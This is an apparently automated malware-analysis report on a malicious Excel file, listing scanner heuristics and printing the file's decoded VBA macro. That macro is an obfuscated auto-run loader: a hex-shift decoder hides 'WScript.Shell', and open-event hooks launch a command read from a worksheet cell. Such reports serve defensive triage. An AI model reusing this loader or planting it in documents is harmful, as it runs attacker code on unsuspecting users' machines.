MALICIOUS
346
Risk Score
Heuristics 11
-
Office EPRINT stream contains EMF object high OLE_EPRINT_EMF_OBJECTOLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
-
ClamAV: Xls.Malware.Valyria-6700358-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700358-0
-
Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPENWorkbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Application.Run ECY_CB("A7B2BCB5B9AEC1ADB3A7") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim PY_C As Object: Set PY_C = VBA.CreateObject(ECY_CB("B9B5C5D4CBD2D690B5CAC7CECE")) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Public Sub Document_Open() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Public Sub Auto_Open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 230 bytes |
SHA-256: 71a3a7a2e8cc9171c7e1df1e35a039b0c01da36784f2f7b8c3388187663fd782 |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - NewDo ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' Sheet,Reference,Formula,Value |
|||
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9605 bytes |
SHA-256: bb44e4733a14ef7c10d3c557ea42af2032cb0e5e4a13887351f8e6feb20b0f8c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 22 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Sub EPZSWL_KQE()
HSX_V
End Sub
Public Function ECY_CB(ByVal text As String)
Dim AXJ_NG As String
Dim PE_Y As Long
For PE_Y = 1 To Len(text) Step 2
AXJ_NG = AXJ_NG & Chr(Asc(Chr("&H" & Mid(text, PE_Y, 2))) - 98)
Next
ECY_CB = AXJ_NG
End Function
Public Sub Auto_Open()
Application.Run ECY_CB("A7B2BCB5B9AEC1ADB3A7")
End Sub
Public Sub Document_Open()
Application.Run ECY_CB("A7B2BCB5B9AEC1ADB3A7")
End Sub
Public Sub HSX_V()
Dim PY_C As Object: Set PY_C = VBA.CreateObject(ECY_CB("B9B5C5D4CBD2D690B5CAC7CECE"))
Dim ANS_MO As String
ANS_MO = "9B787DA1D28BD2A18CA1B3A17EA16AA1A1A1DDA17CA1AEA1C6A1A1A1A19E9B6BBB68A1A1A176A178A1A1BDB0A1A1A1A5A1A8A1E1A181C2A1896EA7A1CAA177A174A1A1CFA163A1A1A192A1A1D7A174A1A1A1BDA1D39CA112A1A1D1A1A1A7A1DBADC8A17DA6B6A1A1A1A19695"
Dim B_WEV As String
B_WEV = "AEA1A1DBA1A1ACA18FCFA192C5A1A1A1A1C0A195A1A1A0697FA1AE66A1A1C0A1C7DCA1A1A1A1A162A194A1A1CDC2A2A194A1A1CD7A7AA19DA1A1A1A1A1A77083A1A1A0817CA1A1A1A1C8D1A1AF6E85A168A191AEC494A9A1A1A163A1DEA1A1D8A1D9A1A175A1B1A1CCCFA1A1"
Dim V_D As String
V_D = "A482A1A1A1A1A1A1E0A1A1A1A799A1A1698F90A1A173A1A1A1A19BA1A1A1A6D5A1A1A071A1CBA4A183A168A1A1A1A1C4A2A197AB70A1D19CB6A1AEC9A1A1A1A1A1D7C4A17DA1A1BED7A1A1DEA1A1A1A1E1A1A1A0AFA1D0A1A18FCBA17DA1BFA18B807BAD8AA9A1A1A1A180A1"
Dim OX_X As String
OX_X = "A1C8DCB1A1A17EA1A6C3A1A179CBE1BDC8BCCDA1A1A1A1A1A1A19A82A1C6DCA1A1A1ADA17C96C1CAE06DA1B9B972A176A1D4DBA1C49FA1A1A1A19AA195A1A18ED2CD7FA1A393A1656CA1A1A1A0A1D4BD6EA1A162A183D0A1A1C3A189A1A1A167A18DA1A9C1A3E1A1BAA1A1A1"
Dim H_V As String
H_V = "DCA1D0A1AEA1A1ABB1A1A1A1A1E0A1E1ACA1A1877564A1A5A1A195A1A190A17CC3A16FA179A1A194CEE14D9170A196A1C8A1A1A1A1A19FC577A183A1A1C5D3A19EAAA19593CD86CBB96AA1A166A17DC8A1A1A1CA7182A1A1A172A1A1A1A1C19CA1A1DAA1CC978DA1A1A1B1A1"
Dim JXU_VH As String
JXU_VH = "73A168A17DDAA16BD67DA1A1C7BDA18BA1A1A1A1B9A1A187ACBAA1A1A16DA1A1A1A6A1A1A16FE1929AA1A1A1A1A1A199BBA19AA1A1A1C5A1A18FA1D6A1D7A6A1A1787DD8A1D76FCD8194A180C3DCA1BE94A1A1A16F62C37F63A1A1A1A1B187A1D97F87A17DA16E16A1A1A1A1"
Dim EUA_Q As String
EUA_Q = "A1A1A1A179A166A1DEA1A1A1A1D7A5A177A1A16E8CA1A5B7A1A3B1E17275A1C8A1C8D07A8EA1A1A183A1A1A1DD667FCFA18EA1A1A1A1A1B4C092A1C8A1A1CA74A565A1698CCB7F6C99A1AEA1A1A1A186A1A1D7A1A170A1A1A1A1A194A1AEA1D49A63A1C7A123A1A1A2A0A1A1"
Dim L_SQ As String
L_SQ = "C9A1A1A1A1C5A1A1A1C5A1B79E67B0A17CAEA1C3DE7982A1A16CB8A1A695ABC27EA1A1A171A16FA1A19D898EA1A1CBA286A8A17469A1A1A1A1A1A187A192B4A182B9E1C3DD9E71A1A1A1A1A1B2DEA1BA82A1C6A16BA17A72A1A1A1D0A1A16DA199D298A1A16BA1A19ACFA198"
Dim BK_ZWR As String
BK_ZWR = "9381A1A181A5A19478A1C9B2A17BAD9AA1A186A1A1A864DAD8A1A1A19AA0DDCBBEA1A1A1A167BCA1A1A1A1BCA1A1A1D66AD1A1B3A1B5A1C2BFB7A7DB8BA1D2B4A6A1C6D86BA0A1A1A1E1A1A1A6A1A1976EA16CA16FE1A1C8A1A1766DBCA1C06AD96CA1A1A1937EA17992CB63"
Dim YAH_YGM As String
YAH_YGM = "A172D6A1A1A1A9A9A1A1A1A1D3A18792ABE1BF9C97A198A1A0A1A178A1A1A1A1B8C8A1A191A1A1C3BDDDA4BDC26C9BA1BB8EA1A0A1A1686AC4A1A1A177A19CA1C2A1A1A1A18FA1E1C6A1C1C6A1A1A18395A1A1C2C9A164A1A1A1A1A1A7A169A162AEA17FA1A187A1A1A187A1"
Dim QE_G As String
QE_G = "A1A1A1A1D2D3A1789EA169C2A1D7A1BEBCA1A1A165A1A1A1A1A1D669A1A178A1A1C5A17A6897A18FA1A1BC88A1B0A1A7A1BBAB70A1AA70A1A17FB3A1A1D6D3A1A1A192A1A1A3DFB289A16898ACDC7AD8A1A1B7A1A1BB7DA1A1AAA1A1A1A7808EA1A1A1809DE1A1A1A1A1A1A3A1B667A1A888A1A1A1D577A1A1A1A1CE94A1A16BA1A184BAA8A4A1A1A162A1A1A1ABA1A16BA181D3B2A1A16AB7A1A1AAA1"
PY_C.Run ECY_CB(ThisWorkbook.Sheets("NewDor").Range("H215").Value), 0, True
End Sub
Sub Workbook_Open()
Application.Run "ThisWorkbook." & ECY_CB("A7B2BCB5B9AEC1ADB3A7")
End Sub
' Processing file: /opt/analyzer/scan_staging/f63f9d2dd1f64c498e133c84f6df2b81.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 8132 bytes
' Line #0:
' Option (Explicit)
' Line #1:
' FuncDefn (Sub EPZSWL_KQE())
' Line #2:
' ArgsCall HSX_V 0x0000
' Line #3:
' EndSub
' Line #4:
' FuncDefn (Public Function ECY_CB(ByVal Text As String))
' Line #5:
' Dim
' VarDefn AXJ_NG (As String)
' Line #6:
' Dim
' VarDefn PE_Y (As Long)
' Line #7:
' StartForVariable
' Ld PE_Y
' EndForVariable
' LitDI2 0x0001
' Ld Text
' FnLen
' LitDI2 0x0002
' ForStep
' Line #8:
' Ld AXJ_NG
' LitStr 0x0002 "&H"
' Ld Text
' Ld PE_Y
' LitDI2 0x0002
' ArgsLd Mid 0x0003
' Concat
' ArgsLd Chr 0x0001
' ArgsLd Asc 0x0001
' LitDI2 0x0062
' Sub
' ArgsLd Chr 0x0001
' Concat
' St AXJ_NG
' Line #9:
' StartForVariable
' Next
' Line #10:
' Ld AXJ_NG
' St ECY_CB
' Line #11:
' EndFunc
' Line #12:
' FuncDefn (Public Sub Auto_Open())
' Line #13:
' LitStr 0x0014 "A7B2BCB5B9AEC1ADB3A7"
' ArgsLd ECY_CB 0x0001
' Ld Application
' ArgsMemCall Run 0x0001
' Line #14:
' EndSub
' Line #15:
' FuncDefn (Public Sub Document_Open())
' Line #16:
' LitStr 0x0014 "A7B2BCB5B9AEC1ADB3A7"
' ArgsLd ECY_CB 0x0001
' Ld Application
' ArgsMemCall Run 0x0001
' Line #17:
' EndSub
' Line #18:
' FuncDefn (Public Sub HSX_V())
' Line #19:
' Dim
' VarDefn PY_C (As Object)
' BoS 0x0000
' SetStmt
' LitStr 0x001A "B9B5C5D4CBD2D690B5CAC7CECE"
' ArgsLd ECY_CB 0x0001
' Ld VBA
' ArgsMemLd CreateObject 0x0001
' Set PY_C
' Line #20:
' Dim
' VarDefn ANS_MO (As String)
' Line #21:
' LitStr 0x00D8 "9B787DA1D28BD2A18CA1B3A17EA16AA1A1A1DDA17CA1AEA1C6A1A1A1A19E9B6BBB68A1A1A176A178A1A1BDB0A1A1A1A5A1A8A1E1A181C2A1896EA7A1CAA177A174A1A1CFA163A1A1A192A1A1D7A174A1A1A1BDA1D39CA112A1A1D1A1A1A7A1DBADC8A17DA6B6A1A1A1A19695"
' St ANS_MO
' Line #22:
' Dim
' VarDefn B_WEV (As String)
' Line #23:
' LitStr 0x00D8 "AEA1A1DBA1A1ACA18FCFA192C5A1A1A1A1C0A195A1A1A0697FA1AE66A1A1C0A1C7DCA1A1A1A1A162A194A1A1CDC2A2A194A1A1CD7A7AA19DA1A1A1A1A1A77083A1A1A0817CA1A1A1A1C8D1A1AF6E85A168A191AEC494A9A1A1A163A1DEA1A1D8A1D9A1A175A1B1A1CCCFA1A1"
' St B_WEV
' Line #24:
' Dim
' VarDefn V_D (As String)
' Line #25:
' LitStr 0x00D8 "A482A1A1A1A1A1A1E0A1A1A1A799A1A1698F90A1A173A1A1A1A19BA1A1A1A6D5A1A1A071A1CBA4A183A168A1A1A1A1C4A2A197AB70A1D19CB6A1AEC9A1A1A1A1A1D7C4A17DA1A1BED7A1A1DEA1A1A1A1E1A1A1A0AFA1D0A1A18FCBA17DA1BFA18B807BAD8AA9A1A1A1A180A1"
' St V_D
' Line #26:
' Dim
' VarDefn OX_X (As String)
' Line #27:
' LitStr 0x00D8 "A1C8DCB1A1A17EA1A6C3A1A179CBE1BDC8BCCDA1A1A1A1A1A1A19A82A1C6DCA1A1A1ADA17C96C1CAE06DA1B9B972A176A1D4DBA1C49FA1A1A1A19AA195A1A18ED2CD7FA1A393A1656CA1A1A1A0A1D4BD6EA1A162A183D0A1A1C3A189A1A1A167A18DA1A9C1A3E1A1BAA1A1A1"
' St OX_X
' Line #28:
' Dim
' VarDefn H_V (As String)
' Line #29:
' LitStr 0x00D8 "DCA1D0A1AEA1A1ABB1A1A1A1A1E0A1E1ACA1A1877564A1A5A1A195A1A190A17CC3A16FA179A1A194CEE14D9170A196A1C8A1A1A1A1A19FC577A183A1A1C5D3A19EAAA19593CD86CBB96AA1A166A17DC8A1A1A1CA7182A1A1A172A1A1A1A1C19CA1A1DAA1CC978DA1A1A1B1A1"
' St H_V
' Line #30:
' Dim
' VarDefn JXU_VH (As String)
' Line #31:
' LitStr 0x00D8 "73A168A17DDAA16BD67DA1A1C7BDA18BA1A1A1A1B9A1A187ACBAA1A1A16DA1A1A1A6A1A1A16FE1929AA1A1A1A1A1A199BBA19AA1A1A1C5A1A18FA1D6A1D7A6A1A1787DD8A1D76FCD8194A180C3DCA1BE94A1A1A16F62C37F63A1A1A1A1B187A1D97F87A17DA16E16A1A1A1A1"
' St JXU_VH
' Line #32:
' Dim
' VarDefn EUA_Q (As String)
' Line #33:
' LitStr 0x00D8 "A1A1A1A179A166A1DEA1A1A1A1D7A5A177A1A16E8CA1A5B7A1A3B1E17275A1C8A1C8D07A8EA1A1A183A1A1A1DD667FCFA18EA1A1A1A1A1B4C092A1C8A1A1CA74A565A1698CCB7F6C99A1AEA1A1A1A186A1A1D7A1A170A1A1A1A1A194A1AEA1D49A63A1C7A123A1A1A2A0A1A1"
' St EUA_Q
' Line #34:
' Dim
' VarDefn L_SQ (As String)
' Line #35:
' LitStr 0x00D8 "C9A1A1A1A1C5A1A1A1C5A1B79E67B0A17CAEA1C3DE7982A1A16CB8A1A695ABC27EA1A1A171A16FA1A19D898EA1A1CBA286A8A17469A1A1A1A1A1A187A192B4A182B9E1C3DD9E71A1A1A1A1A1B2DEA1BA82A1C6A16BA17A72A1A1A1D0A1A16DA199D298A1A16BA1A19ACFA198"
' St L_SQ
' Line #36:
' Dim
' VarDefn BK_ZWR (As String)
' Line #37:
' LitStr 0x00D8 "9381A1A181A5A19478A1C9B2A17BAD9AA1A186A1A1A864DAD8A1A1A19AA0DDCBBEA1A1A1A167BCA1A1A1A1BCA1A1A1D66AD1A1B3A1B5A1C2BFB7A7DB8BA1D2B4A6A1C6D86BA0A1A1A1E1A1A1A6A1A1976EA16CA16FE1A1C8A1A1766DBCA1C06AD96CA1A1A1937EA17992CB63"
' St BK_ZWR
' Line #38:
' Dim
' VarDefn YAH_YGM (As String)
' Line #39:
' LitStr 0x00D8 "A172D6A1A1A1A9A9A1A1A1A1D3A18792ABE1BF9C97A198A1A0A1A178A1A1A1A1B8C8A1A191A1A1C3BDDDA4BDC26C9BA1BB8EA1A0A1A1686AC4A1A1A177A19CA1C2A1A1A1A18FA1E1C6A1C1C6A1A1A18395A1A1C2C9A164A1A1A1A1A1A7A169A162AEA17FA1A187A1A1A187A1"
' St YAH_YGM
' Line #40:
' Dim
' VarDefn QE_G (As String)
' Line #41:
' LitStr 0x013A "A1A1A1A1D2D3A1789EA169C2A1D7A1BEBCA1A1A165A1A1A1A1A1D669A1A178A1A1C5A17A6897A18FA1A1BC88A1B0A1A7A1BBAB70A1AA70A1A17FB3A1A1D6D3A1A1A192A1A1A3DFB289A16898ACDC7AD8A1A1B7A1A1BB7DA1A1AAA1A1A1A7808EA1A1A1809DE1A1A1A1A1A1A3A1B667A1A888A1A1A1D577A1A1A1A1CE94A1A16BA1A184BAA8A4A1A1A162A1A1A1ABA1A16BA181D3B2A1A16AB7A1A1AAA1"
' St QE_G
' Line #42:
' Line #43:
' LitStr 0x0004 "H215"
' LitStr 0x0006 "NewDor"
' Ld ThisWorkbook
' ArgsMemLd Sheets 0x0001
' ArgsMemLd Range 0x0001
' MemLd Value
' ArgsLd ECY_CB 0x0001
' LitDI2 0x0000
' LitVarSpecial (True)
' Ld PY_C
' ArgsMemCall Run 0x0003
' Line #44:
' EndSub
' Line #45:
' FuncDefn (Sub Workbook_Open())
' Line #46:
' LitStr 0x000D "ThisWorkbook."
' LitStr 0x0014 "A7B2BCB5B9AEC1ADB3A7"
' ArgsLd ECY_CB 0x0001
' Concat
' Ld Application
' ArgsMemCall Run 0x0001
' Line #47:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.